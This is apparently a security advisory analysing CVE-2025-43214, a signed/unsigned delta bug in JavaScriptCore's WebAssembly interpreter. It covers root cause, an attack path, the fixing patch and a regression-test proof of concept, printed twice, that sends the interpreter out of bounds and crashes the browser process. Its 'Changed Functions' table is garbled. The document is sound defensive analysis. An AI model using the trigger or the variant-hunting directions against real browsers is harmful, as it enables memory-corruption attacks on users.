CVE-2025-43214
Overview
Background
- IPInt (In-Place Interpreter)
- JSC’s low-tier WebAssembly interpreter that executes Wasm bytecode directly using precomputed side metadata for control flow, before any JIT tier-up.
- BlockMetadata delta (PC/MC)
- A pair of 32-bit offsets added to the bytecode program counter (PC) and metadata cursor (MC) to jump the interpreter from a branch source to its target.
- Sign extension (sxi2q)
- Copying the top bit of a 32-bit value into the upper 32 bits of a 64-bit register so that a negative 32-bit number keeps its negative value; loadi zero-extends and thus loses negative sign.
- try_table / catch_all
- A Wasm exception-handling construct whose catch clause can transfer control to an enclosing label, producing a backward branch when that label is a preceding loop header.
- loadpairi
- An instruction that loads two adjacent 32-bit fields in one operation, which is why the patch stresses that deltaPC/deltaMC field order must be preserved.
Root Cause Analysis
The IPInt (In-Place Interpreter) tier of JSC’s WebAssembly engine encodes control-flow transfers as BlockMetadata records containing a delta to add to the bytecode PC and to the metadata MC. In WasmIPIntGenerator.h these two fields were declared as unsigned (uint32_t deltaPC/deltaMC). The generator computes each delta as a subtraction of two IPIntLocation offsets (e.g. target.m_entryTarget.pc - loc.pc, here.pc - src.pc, loc.pc - src.pc) in WasmIPIntGenerator.cpp. For most control constructs the branch target lies forward of the source, so the delta is non-negative and the sign of the storage type does not matter. However, for a backward branch – notably the loop entry resolution path (resolveEntryTarget, the isLoop case) and the exception-handling coalescing path (coalesceControlFlow / try_table catch that re-enters an enclosing loop) – the target precedes the source and the delta is genuinely negative. Because the field was uint32_t and the interpreter loaded it with the 32-bit zero-extending ’loadi’ in InPlaceInterpreter64.asm, a small negative delta such as -8 was reinterpreted as a huge positive 32-bit value (e.g. 0xFFFFFFF8) and then added to the 64-bit PC/MC via advancePCByReg/advanceMCByReg.
The invariant that was violated is that a backward control transfer must move the interpreter PC/MC backward; instead it flung them far forward out of the bytecode/metadata buffer.
The fix redeclares deltaPC/deltaMC as int32_t (documenting that field order matters because both are fetched by a single loadpairi, and that negative deltas require sign extension to 64 bits before the add), casts every computed delta to int32_t in the .cpp, and inserts ‘sxi2q t0, t0 / sxi2q t1, t1’ sign-extension in the one asm dispatch path that can take a backward branch, while explicitly commenting the forward-only paths that they may safely skip sign extension. This restores correct backward branching so the loop/try_table re-entry lands on the intended instruction.
Attack Path
- Deliver a crafted WebAssembly module Serve a page that instantiates a small Wasm module whose control flow forces a backward branch whose metadata delta is negative, as in the added regression test wasm-try-table-catching-backwards.js.
- Construct a backward exception re-entry Use a (loop) containing a (try_table (catch_all $top …)) that catches an exception and branches back to the enclosing loop header, so the coalescing pass emits a BlockMetadata with a negative deltaPC/deltaMC (target before source).
- Force IPInt execution Keep the function in the interpreter tier (small/first-run) so it executes via IPInt rather than being tiered up, ensuring the buggy loadi/zero-extended dispatch runs.
- Trigger the throw Call an imported function (here returnYourself) inside the try_table and have the catch handler execute, causing the interpreter to take the backward branch with the corrupted delta.
- Corrupt PC/MC The zero-extended negative delta advances PC/MC far outside the module’s bytecode/metadata buffers, so the interpreter fetches an out-of-bounds opcode and typically faults or executes ‘unreachable’, crashing WebContent.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifSource/JavaScriptCore/wasm/WasmIPIntGenerator.cpp |
modified | |
forSource/JavaScriptCore/wasm/WasmIPIntGenerator.cpp |
modified |
Files Changed
JSTests/wasm/stress/wasm-try-table-catching-backwards.jsSource/JavaScriptCore/llint/InPlaceInterpreter64.asmSource/JavaScriptCore/wasm/WasmIPIntGenerator.cppSource/JavaScriptCore/wasm/WasmIPIntGenerator.h
Audit Directions
- Other IPInt metadata deltasIn WasmIPIntGenerator.h/.cpp audit every metadata field that stores a computed offset (grep for ‘delta’, ‘BlockMetadata’, ‘IfMetadata’, ‘InstructionLengthMetadata’) and confirm that any field ever produced by an a.pc - b.pc subtraction where target can precede source is signed and sign-extended; IfMetadata was left unsigned on the claim that else-branches are always forward – verify that.
- loadi vs sign-extension in InPlaceInterpreter*.asmGrep InPlaceInterpreter64.asm / InPlaceInterpreter32_64.asm for every ’loadi …deltaPC/deltaMC’ or advancePCByReg/advanceMCByReg site and check whether a backward branch can reach it without a preceding sxi2q; the patch only fixed one of six near-identical dispatch blocks.
- Unsigned storage of interpreter jump offsets across tiersCompare the LLInt/bytecode branch-offset encodings (grep for ‘deltaPC’, ’targetOffset’, BoundLabel/jump-target math) for the same zero-extend-a-negative-delta pattern in non-Wasm interpreter paths.
- Backward-branch Wasm control constructsFuzz/audit constructs that legitimately branch backward – loop headers, br/br_if/br_table targeting outer loops, and try_table/catch re-entry – across all Wasm tiers to find metadata paths that assume forward-only deltas.
Patch
diff --git a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
index 33d606915380..7582968a9bfb 100644
--- a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
+++ b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
@@ -254,6 +254,8 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ sxi2q t0, t0
+ sxi2q t1, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
@@ -300,6 +302,7 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ # always skipping forward - no need to sign-extend t0, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
@@ -321,6 +324,7 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ # always skipping forward - no need to sign-extend t0, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
@@ -653,6 +657,7 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ # always skipping forward - no need to sign-extend t0, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
@@ -667,6 +672,7 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ # always skipping forward - no need to sign-extend t0, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
@@ -723,6 +729,7 @@ else
loadi IPInt::BlockMetadata::deltaPC[MC], t0
loadi IPInt::BlockMetadata::deltaMC[MC], t1
end
+ # always skipping forward - no need to sign-extend t0, t1
advancePCByReg(t0)
advanceMCByReg(t1)
nextIPIntInstruction()
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
index e309d9ec25ec..552bbb5bcf9e 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
@@ -579,7 +579,7 @@ public:
auto& target = m_controlStructuresAwaitingCoalescing[index];
if (target.isLoop) {
ASSERT(target.m_entryResolved);
- IPInt::BlockMetadata md = { target.m_entryTarget.pc - loc.pc, target.m_entryTarget.mc - loc.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(target.m_entryTarget.pc - loc.pc), static_cast<int32_t>(target.m_entryTarget.mc - loc.mc) };
WRITE_TO_METADATA(metadata + loc.mc, md, IPInt::BlockMetadata);
} else {
ASSERT(!target.m_exitResolved);
@@ -1997,7 +1997,7 @@ void IPIntGenerator::coalesceControlFlow(bool force)
m_controlStructuresAwaitingCoalescing.shrink(0);
for (auto& src : m_exitHandlersAwaitingCoalescing) {
- IPInt::BlockMetadata md = { here.pc - src.pc, here.mc - src.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(here.pc - src.pc), static_cast<int32_t>(here.mc - src.mc) };
WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
}
m_exitHandlersAwaitingCoalescing.shrink(0);
@@ -2009,12 +2009,12 @@ void IPIntGenerator::resolveEntryTarget(unsigned index, IPIntLocation loc)
ASSERT(!control.m_entryResolved);
for (auto& src : control.m_awaitingEntryTarget) {
// write delta PC and delta MC
- IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
}
if (control.isLoop) {
for (auto& src : control.m_awaitingBranchTarget) {
- IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
}
control.m_awaitingBranchTarget.clear();
@@ -2030,12 +2030,12 @@ void IPIntGenerator::resolveExitTarget(unsigned index, IPIntLocation loc)
ASSERT(!control.m_exitResolved);
for (auto& src : control.m_awaitingExitTarget) {
// write delta PC and delta MC
- IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
}
if (!control.isLoop) {
for (auto& src : control.m_awaitingBranchTarget) {
- IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+ IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
}
control.m_awaitingBranchTarget.clear();
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
index de224dac1d1f..cae094986def 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
@@ -79,13 +79,16 @@ struct InstructionLengthMetadata {
};
struct BlockMetadata {
- uint32_t deltaPC; // 4B for new PC
- uint32_t deltaMC; // 4B for new MC
+ // Field order is significant, both may be loaded with one 'loadpairi' instruction.
+ // Negative deltas are possible for some Wasm instructions and require sign extension to 64b before the addition.
+ int32_t deltaPC; // 4B added to PC
+ int32_t deltaMC; // 4B added to MC
};
struct IfMetadata {
- uint32_t elseDeltaPC; // 4B PC for new else PC
- uint32_t elseDeltaMC; // 4B MC of new else MC
+ // Field order is significant, both may be loaded with one 'loadpairi' instruction.
+ uint32_t elseDeltaPC; // 4B added to PC
+ uint32_t elseDeltaMC; // 4B added to MC
InstructionLengthMetadata instructionLength;
};
diff --git a/JSTests/wasm/stress/wasm-try-table-catching-backwards.js b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
new file mode 100644
index 000000000000..5929a014956a
--- /dev/null
+++ b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
@@ -0,0 +1,50 @@
+function returnYourself() {
+ return returnYourself;
+}
+
+/*
+(module
+ (func $imported (import "fun" "a") (result funcref))
+ (func $main (export "main")
+ (local $do_exit i32)
+ i32.const 0
+ local.set $do_exit
+ (loop $top
+ ;; the $proceed block passes on the first iteration and returns from the function the second time it's entered
+ (block $proceed
+ local.get $do_exit
+ i32.eqz
+ br_if $proceed
+ return
+ )
+ i32.const 1
+ local.set $do_exit
+ (try_table $x (catch_all $top)
+ call $imported
+ drop
+ )
+ unreachable
+ )
+ )
+)
+*/
+const module = new WebAssembly.Module(new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,
+ 0x00, 0x01, 0x70, 0x60, 0x00, 0x00, 0x02, 0x09, 0x01, 0x03, 0x66, 0x75,
+ 0x6e, 0x01, 0x61, 0x00, 0x00, 0x03, 0x02, 0x01, 0x01, 0x07, 0x08, 0x01,
+ 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x01, 0x0a, 0x28, 0x01, 0x26, 0x01,
+ 0x01, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x03, 0x40, 0x02, 0x40, 0x20, 0x00,
+ 0x45, 0x0d, 0x00, 0x0f, 0x0b, 0x41, 0x01, 0x21, 0x00, 0x02, 0x40, 0x1f,
+ 0x40, 0x01, 0x02, 0x01, 0x10, 0x00, 0x1a, 0x0b, 0x0b, 0x00, 0x0b, 0x00,
+ 0x0b
+]));
+const instance = new WebAssembly.Instance(module, {
+ fun: {
+ a: returnYourself
+ }
+});
+
+// Will fail with a random failure including but not limited to Unreachable or a segfault
+// if the fix https://bugs.webkit.org/show_bug.cgi?id=292599 has regressed.
+// Will fail with Unreachable if the exception is not thrown or not caught correctly.
+instance.exports.main();
Regression Test / PoC
diff --git a/JSTests/wasm/stress/wasm-try-table-catching-backwards.js b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
new file mode 100644
index 000000000000..5929a014956a
--- /dev/null
+++ b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
@@ -0,0 +1,50 @@
+function returnYourself() {
+ return returnYourself;
+}
+
+/*
+(module
+ (func $imported (import "fun" "a") (result funcref))
+ (func $main (export "main")
+ (local $do_exit i32)
+ i32.const 0
+ local.set $do_exit
+ (loop $top
+ ;; the $proceed block passes on the first iteration and returns from the function the second time it's entered
+ (block $proceed
+ local.get $do_exit
+ i32.eqz
+ br_if $proceed
+ return
+ )
+ i32.const 1
+ local.set $do_exit
+ (try_table $x (catch_all $top)
+ call $imported
+ drop
+ )
+ unreachable
+ )
+ )
+)
+*/
+const module = new WebAssembly.Module(new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,
+ 0x00, 0x01, 0x70, 0x60, 0x00, 0x00, 0x02, 0x09, 0x01, 0x03, 0x66, 0x75,
+ 0x6e, 0x01, 0x61, 0x00, 0x00, 0x03, 0x02, 0x01, 0x01, 0x07, 0x08, 0x01,
+ 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x01, 0x0a, 0x28, 0x01, 0x26, 0x01,
+ 0x01, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x03, 0x40, 0x02, 0x40, 0x20, 0x00,
+ 0x45, 0x0d, 0x00, 0x0f, 0x0b, 0x41, 0x01, 0x21, 0x00, 0x02, 0x40, 0x1f,
+ 0x40, 0x01, 0x02, 0x01, 0x10, 0x00, 0x1a, 0x0b, 0x0b, 0x00, 0x0b, 0x00,
+ 0x0b
+]));
+const instance = new WebAssembly.Instance(module, {
+ fun: {
+ a: returnYourself
+ }
+});
+
+// Will fail with a random failure including but not limited to Unreachable or a segfault
+// if the fix https://bugs.webkit.org/show_bug.cgi?id=292599 has regressed.
+// Will fail with Unreachable if the exception is not thrown or not caught correctly.
+instance.exports.main();